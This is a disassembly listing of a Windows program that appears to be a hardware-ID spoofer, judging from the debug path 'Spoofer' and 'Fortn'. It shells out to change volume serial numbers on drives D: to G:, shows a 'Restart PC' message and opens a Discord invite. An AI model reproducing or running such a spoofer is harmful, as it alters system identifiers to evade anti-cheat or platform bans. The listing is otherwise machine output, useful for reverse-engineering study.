mov rdx, qword [rbp]
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x78], 0xf
mov byte [rsp + 0x60], 0
cmp rdx, 0xf
jbe 0x140030fd2
mov rcx, qword [rbp - 0x18]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140030fcd
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140031dd0
call fcn.140032720
mov rdx, qword [rbp - 0x28]
mov qword [rbp - 8], rdi
mov qword [rbp], 0xf
mov byte [rbp - 0x18], 0
cmp rdx, 0xf
jbe 0x14003101d
mov rcx, qword [rbp - 0x40]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140031018
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140031dd0
call fcn.140032720
mov edx, r14d
lea rcx, [rbp - 0x40]
call fcn.140031f90
mov edx, esi
lea rcx, [rbp + 8]
call fcn.140031f90
mov rcx, qword [rbp + 0x20]
mov r8, qword [rbp + 0x18]
mov rax, rcx
sub rax, r8
cmp rax, 0x23
jb 0x1400310d8
lea rax, [r8 + 0x23]
cmp rcx, 0xf
lea rbx, [rbp + 8]
mov qword [rbp + 0x18], rax
cmova rbx, qword [rbp + 8]
lea rax, [0x14003e3c3]
cmp rax, rbx
jbe 0x14003108a
lea rax, [rbx + r8]
lea rcx, str.cd_C:Program_Files__Volumeid_D:
cmp rcx, rax
ja 0x14003108a
cmp rbx, rcx
jbe 0x14003108f
mov rdi, rbx
sub rdi, rcx
jmp 0x14003108f
mov edi, 0x23
inc r8
lea rcx, [rbx + 0x23]
mov rdx, rbx
call sub.VCRUNTIME140.dll_memmove
mov r8, rdi
lea rdx, str.cd_C:Program_Files__Volumeid_D:
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
lea rdx, str.cd_C:Program_Files__Volumeid_D:
mov r8d, 0x23
add rdx, 0x23
lea rcx, [rbx + rdi]
add rdx, rdi
sub r8, rdi
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp + 8]
xor edi, edi
jmp 0x1400310fb
lea rax, str.cd_C:Program_Files__Volumeid_D:
mov qword [rsp + 0x28], 0x23
mov edx, 0x23
mov qword [rsp + 0x20], rax
lea rcx, [rbp + 8]
call fcn.1400324e0
mov qword [rsp + 0x70], rdi
lea rdx, [0x14003c9b4]
mov qword [rsp + 0x78], rdi
lea rcx, [rsp + 0x60]
xorps xmm0, xmm0
mov r8d, 1
movups xmmword [rsp + 0x60], xmm0
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x70], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
call fcn.140031eb0
lea r9, [rbp - 0x40]
lea r8, [rbp - 0x60]
lea rcx, [rbp - 0x80]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], rdi
movups xmmword [rbp - 0x60], xmm0
mov qword [rax + 0x18], 0xf
movups xmmword [rbp - 0x50], xmm1
mov byte [rax], 0
call fcn.1400322e0
cmp qword [rbp - 0x68], 0xf
lea rcx, [rbp - 0x80]
cmova rcx, qword [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x1400311c2
mov rcx, qword [rbp - 0x80]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400311bd
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140031dd7
call fcn.140032720
mov rdx, qword [rbp - 0x48]
mov qword [rbp - 0x70], rdi
mov qword [rbp - 0x68], 0xf
mov byte [rbp - 0x80], 0
cmp rdx, 0xf
jbe 0x14003120d
mov rcx, qword [rbp - 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140031208
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140031dd7
call fcn.140032720
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x14003124a
mov rcx, qword [rsp + 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140031245
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140031dd7
call fcn.140032720
mov rdx, qword [rbp + 0x20]
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x78], 0xf
mov byte [rsp + 0x60], 0
cmp rdx, 0xf
jbe 0x140031298
mov rcx, qword [rbp + 8]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140031293
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140031dd7
call fcn.140032720
mov rdx, qword [rbp - 0x28]
mov qword [rbp + 0x18], rdi
mov qword [rbp + 0x20], 0xf
mov byte [rbp + 8], 0
cmp rdx, 0xf
jbe 0x1400312e3
mov rcx, qword [rbp - 0x40]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400312de
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140031dd7
call fcn.140032720
mov edx, r14d
lea rcx, [rbp - 0x40]
call fcn.140031f90
mov edx, esi
lea rcx, [rbp + 0x28]
call fcn.140031f90
mov rcx, qword [rbp + 0x40]
mov r8, qword [rbp + 0x38]
mov rax, rcx
sub rax, r8
cmp rax, 0x23
jb 0x14003139a
lea rax, [r8 + 0x23]
cmp rcx, 0xf
lea rbx, [rbp + 0x28]
mov qword [rbp + 0x38], rax
cmova rbx, qword [rbp + 0x28]
lea rax, [0x14003e3eb]
cmp rax, rbx
jbe 0x140031350
lea rax, [rbx + r8]
lea rcx, str.cd_C:Program_Files__Volumeid_E:
cmp rcx, rax
ja 0x140031350
cmp rbx, rcx
jbe 0x140031355
mov rdi, rbx
sub rdi, rcx
jmp 0x140031355
mov edi, 0x23
inc r8
lea rcx, [rbx + 0x23]
mov rdx, rbx
call sub.VCRUNTIME140.dll_memmove
mov r8, rdi
lea rdx, str.cd_C:Program_Files__Volumeid_E:
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov r8d, 0x23
lea rdx, [0x14003e3eb]
sub r8, rdi
lea rcx, [rbx + rdi]
add rdx, rdi
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp + 0x28]
xor edi, edi
jmp 0x1400313bd
lea rax, str.cd_C:Program_Files__Volumeid_E:
mov qword [rsp + 0x28], 0x23
mov edx, 0x23
mov qword [rsp + 0x20], rax
lea rcx, [rbp + 0x28]
call fcn.1400324e0
mov qword [rsp + 0x70], rdi
lea rdx, [0x14003c9b4]
mov qword [rsp + 0x78], rdi
lea rcx, [rsp + 0x60]
xorps xmm0, xmm0
mov r8d, 1
movups xmmword [rsp + 0x60], xmm0
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x70], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
call fcn.140031eb0
lea r9, [rbp - 0x40]
lea r8, [rbp - 0x60]
lea rcx, [rbp - 0x80]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], rdi
movups xmmword [rbp - 0x60], xmm0
mov qword [rax + 0x18], 0xf
movups xmmword [rbp - 0x50], xmm1
mov byte [rax], 0
call fcn.1400322e0
cmp qword [rbp - 0x68], 0xf
lea rcx, [rbp - 0x80]
cmova rcx, qword [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x140031484
mov rcx, qword [rbp - 0x80]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003147f
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140031dde
call fcn.140032720
mov rdx, qword [rbp - 0x48]
mov qword [rbp - 0x70], rdi
mov qword [rbp - 0x68], 0xf
mov byte [rbp - 0x80], 0
cmp rdx, 0xf
jbe 0x1400314cf
mov rcx, qword [rbp - 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400314ca
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140031dde
call fcn.140032720
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x14003150c
mov rcx, qword [rsp + 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140031507
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140031dde
call fcn.140032720
mov rdx, qword [rbp + 0x40]
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x78], 0xf
mov byte [rsp + 0x60], 0
cmp rdx, 0xf
jbe 0x14003155a
mov rcx, qword [rbp + 0x28]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140031555
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140031dde
call fcn.140032720
mov rdx, qword [rbp - 0x28]
mov qword [rbp + 0x38], rdi
mov qword [rbp + 0x40], 0xf
mov byte [rbp + 0x28], 0
cmp rdx, 0xf
jbe 0x1400315a5
mov rcx, qword [rbp - 0x40]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400315a0
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140031dde
call fcn.140032720
mov edx, r14d
lea rcx, [rbp - 0x40]
call fcn.140031f90
mov edx, esi
lea rcx, [rbp + 0x48]
call fcn.140031f90
mov rcx, qword [rbp + 0x60]
mov r8, qword [rbp + 0x58]
mov rax, rcx
sub rax, r8
cmp rax, 0x23
jb 0x140031660
lea rax, [r8 + 0x23]
cmp rcx, 0xf
lea rbx, [rbp + 0x48]
mov qword [rbp + 0x58], rax
cmova rbx, qword [rbp + 0x48]
lea rax, [0x14003e413]
cmp rax, rbx
jbe 0x140031612
lea rax, [rbx + r8]
lea rcx, str.cd_C:Program_Files__Volumeid_F:
cmp rcx, rax
ja 0x140031612
cmp rbx, rcx
jbe 0x140031617
mov rdi, rbx
sub rdi, rcx
jmp 0x140031617
mov edi, 0x23
inc r8
lea rcx, [rbx + 0x23]
mov rdx, rbx
call sub.VCRUNTIME140.dll_memmove
mov r8, rdi
lea rdx, str.cd_C:Program_Files__Volumeid_F:
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
lea rdx, str.cd_C:Program_Files__Volumeid_F:
mov r8d, 0x23
add rdx, 0x23
lea rcx, [rbx + rdi]
add rdx, rdi
sub r8, rdi
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp + 0x48]
xor edi, edi
jmp 0x140031683
lea rax, str.cd_C:Program_Files__Volumeid_F:
mov qword [rsp + 0x28], 0x23
mov edx, 0x23
mov qword [rsp + 0x20], rax
lea rcx, [rbp + 0x48]
call fcn.1400324e0
mov qword [rsp + 0x70], rdi
lea rdx, [0x14003c9b4]
mov qword [rsp + 0x78], rdi
lea rcx, [rsp + 0x60]
xorps xmm0, xmm0
mov r8d, 1
movups xmmword [rsp + 0x60], xmm0
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x70], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
call fcn.140031eb0
lea r9, [rbp - 0x40]
lea r8, [rbp - 0x60]
lea rcx, [rbp - 0x80]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], rdi
movups xmmword [rbp - 0x60], xmm0
mov qword [rax + 0x18], 0xf
movups xmmword [rbp - 0x50], xmm1
mov byte [rax], 0
call fcn.1400322e0
cmp qword [rbp - 0x68], 0xf
lea rcx, [rbp - 0x80]
cmova rcx, qword [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x14003174a
mov rcx, qword [rbp - 0x80]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140031745
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140031de5
call fcn.140032720
mov rdx, qword [rbp - 0x48]
mov qword [rbp - 0x70], rdi
mov qword [rbp - 0x68], 0xf
mov byte [rbp - 0x80], 0
cmp rdx, 0xf
jbe 0x140031795
mov rcx, qword [rbp - 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140031790
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140031de5
call fcn.140032720
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x1400317d2
mov rcx, qword [rsp + 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400317cd
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140031de5
call fcn.140032720
mov rdx, qword [rbp + 0x60]
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x78], 0xf
mov byte [rsp + 0x60], 0
cmp rdx, 0xf
jbe 0x140031820
mov rcx, qword [rbp + 0x48]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003181b
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140031de5
call fcn.140032720
mov rdx, qword [rbp - 0x28]
mov qword [rbp + 0x58], rdi
mov qword [rbp + 0x60], 0xf
mov byte [rbp + 0x48], 0
cmp rdx, 0xf
jbe 0x14003186b
mov rcx, qword [rbp - 0x40]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140031866
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140031de5
call fcn.140032720
mov edx, r14d
lea rcx, [rbp - 0x40]
call fcn.140031f90
mov edx, esi
lea rcx, [rbp + 0x68]
call fcn.140031f90
mov rcx, qword [rbp + 0x80]
mov r8, qword [rbp + 0x78]
mov rax, rcx
sub rax, r8
cmp rax, 0x23
jb 0x14003191e
lea rax, [r8 + 0x23]
cmp rcx, 0xf
lea rbx, [rbp + 0x68]
mov qword [rbp + 0x78], rax
cmova rbx, qword [rbp + 0x68]
lea rax, [0x14003e43b]
lea rsi, str.cd_C:Program_Files__Volumeid_G:
cmp rax, rbx
jbe 0x1400318db
lea rax, [rbx + r8]
cmp rsi, rax
ja 0x1400318db
cmp rbx, rsi
jbe 0x1400318e0
mov rdi, rbx
sub rdi, rsi
jmp 0x1400318e0
mov edi, 0x23
inc r8
lea rcx, [rbx + 0x23]
mov rdx, rbx
call sub.VCRUNTIME140.dll_memmove
mov r8, rdi
mov rdx, rsi
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov r8d, 0x23
lea rdx, [rsi + 0x23]
sub r8, rdi
lea rcx, [rbx + rdi]
add rdx, rdi
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp + 0x68]
xor edi, edi
jmp 0x140031941
lea rax, str.cd_C:Program_Files__Volumeid_G:
mov qword [rsp + 0x28], 0x23
mov edx, 0x23
mov qword [rsp + 0x20], rax
lea rcx, [rbp + 0x68]
call fcn.1400324e0
mov qword [rsp + 0x70], rdi
lea rdx, [0x14003c9b4]
mov qword [rsp + 0x78], rdi
lea rcx, [rsp + 0x60]
xorps xmm0, xmm0
mov r8d, 1
movups xmmword [rsp + 0x60], xmm0
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x70], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
call fcn.140031eb0
lea r9, [rbp - 0x40]
lea r8, [rbp - 0x60]
lea rcx, [rbp - 0x80]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], rdi
movups xmmword [rbp - 0x60], xmm0
mov qword [rax + 0x18], 0xf
movups xmmword [rbp - 0x50], xmm1
mov byte [rax], 0
call fcn.1400322e0
cmp qword [rbp - 0x68], 0xf
lea rcx, [rbp - 0x80]
cmova rcx, qword [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x140031a08
mov rcx, qword [rbp - 0x80]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140031a03
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140031dec
call fcn.140032720
mov rdx, qword [rbp - 0x48]
mov qword [rbp - 0x70], rdi
mov qword [rbp - 0x68], 0xf
mov byte [rbp - 0x80], 0
cmp rdx, 0xf
jbe 0x140031a53
mov rcx, qword [rbp - 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140031a4e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140031dec
call fcn.140032720
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x140031a90
mov rcx, qword [rsp + 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140031a8b
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140031dec
call fcn.140032720
mov rdx, qword [rbp + 0x80]
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x78], 0xf
mov byte [rsp + 0x60], 0
cmp rdx, 0xf
jbe 0x140031ae1
mov rcx, qword [rbp + 0x68]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140031adc
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140031dec
call fcn.140032720
mov rdx, qword [rbp - 0x28]
mov qword [rbp + 0x78], rdi
mov qword [rbp + 0x80], 0xf
mov byte [rbp + 0x68], 0
cmp rdx, 0xf
jbe 0x140031b2f
mov rcx, qword [rbp - 0x40]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140031b2a
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140031dec
call fcn.140032720
mov r9d, 0x40000
lea r8, str.Ceos_Den
lea rdx, str.Done__Restart_PC_now
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov rsi, qword [rbp + 0xd0]
movabs r14, 0x311cdad160000
lea rdx, [rbp + 0xb0]
mov qword [rbp + 0xb0], 0
lea rcx, str.Join_Discord
call fcn.140027b10
test al, al
je 0x140031b8b
lea rcx, str.start_https:__discord.gg_EuDzczzG
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.14000d080
call fcn.140007990
mov rcx, qword [0x140044410]
mov r9d, 3
mov dword [rsp + 0x30], edi
xor r8d, r8d
movss dword [rsp + 0x28], xmm8
xor edx, edx
mov dword [rsp + 0x20], edi
mov rax, qword [rcx]
call qword [rax + 0x158]
mov rcx, qword [0x140044410]
mov rax, qword [rcx]
call qword [rax + 0x148]
test eax, eax
js 0x140031c04
call fcn.140007dd0
mov rax, qword [0x1400443a0]
mov rcx, rdi
add rax, 0x1d80
cmp byte [rax], 0
cmovne rcx, rax
call fcn.14002e390
mov rcx, qword [0x140044410]
mov rax, qword [rcx]
call qword [rax + 0x150]
mov rcx, qword [0x140044410]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rdi
xor edx, edx
mov rax, qword [rcx]
call qword [rax + 0x88]
cmp eax, 0x88760868
jne 0x140031c7e
mov rcx, qword [0x140044410]
mov rax, qword [rcx]
call qword [rax + 0x18]
cmp eax, 0x88760869
jne 0x140031c7e
call fcn.14002eb00
mov rcx, qword [0x140044410]
lea rdx, [0x140044420]
mov rax, qword [rcx]
call qword [rax + 0x80]
cmp eax, 0x8876086c
jne 0x140031c79
mov r8d, 0x2d
lea rdx, str.C:UsersFortnDownloadsSpooferSpoofermain.h
lea rcx, [0x14003490c]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
call fcn.14002e970
movabs rbx, 0x7fffffffffffffff
cmp dword [rbp + 0x1a0], 0x12
jne 0x140030810
call fcn.14002eb00
mov rcx, qword [0x1400443d8]
test rcx, rcx
je 0x140031cb3
mov rax, qword [rcx]
call qword [rax + 0x10]
mov qword [0x1400443d8], rdi
mov rbx, qword [0x1400443a0]
mov rcx, rbx
mov qword [0x1400443f0], rdi
call fcn.140006e60
cmp qword [0x1400443a0], rbx
jne 0x140031cd9
mov qword [0x1400443a0], rdi
test rbx, rbx
je 0x140031d07
mov rcx, rbx
call fcn.1400155b0
mov rax, qword [0x1400443a0]
test rax, rax
je 0x140031cf8
dec dword [rax + 0x3bc]
mov rdx, qword [0x140044390]
mov rcx, rbx
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
mov rcx, qword [0x140044410]
test rcx, rcx
je 0x140031d20
mov rax, qword [rcx]
call qword [rax + 0x10]
mov qword [0x140044410], rdi
mov rcx, qword [0x140044408]
test rcx, rcx
je 0x140031d39
mov rax, qword [rcx]
call qword [rax + 0x10]
mov qword [0x140044408], rdi
mov rcx, r15
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rdx, qword [rbp + 0x118]
mov rcx, qword [rbp + 0x140]
call qword [sym.imp.USER32.dll_UnregisterClassW]
mov rax, qword [rbp + 0xd8]
cmp rax, 0xf
jbe 0x140031d91
lea rdx, [rax + 1]
mov rax, r12
cmp rdx, 0x1000
jb 0x140031d89
mov r12, qword [r12 - 8]
add rdx, 0x27
sub rax, r12
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140031dc9
mov rcx, r12
call fcn.140032720
mov rdx, qword [rbp + 0x168]
cmp rdx, 0xf
jbe 0x140031df8
mov rcx, qword [rbp + 0x150]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140031df3
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140031df3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140032720
movaps xmm7, xmmword [rsp + 0x2e0]
xor eax, eax
movaps xmm6, xmmword [rsp + 0x2f0]
mov r14, qword [rsp + 0x300]
mov r13, qword [rsp + 0x340]
mov r12, qword [rsp + 0x338]
mov rsi, qword [rsp + 0x330]
movaps xmm8, xmmword [rsp + 0x2d0]
add rsp, 0x308
pop r15
pop rdi
pop rbx
pop rbp
ret
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rcx, qword [0x140044408]
mov rdx, qword [0x140044410]
test rdx, rdx
je 0x140031e73
mov rax, qword [rdx]
mov rcx, rdx
call qword [rax + 0x10]
mov rcx, qword [0x140044408]
mov qword [0x140044410], rdi
test rcx, rcx
je 0x140031e85
mov rdx, qword [rcx]
call qword [rdx + 0x10]
mov qword [0x140044408], rdi
mov rdx, qword [rbp + 0x118]
mov rcx, qword [rbp + 0x140]
call qword [sym.imp.USER32.dll_UnregisterClassW]
mov eax, 1
add rsp, 0x308
pop r15
pop rdi
pop rbx
pop rbp
ret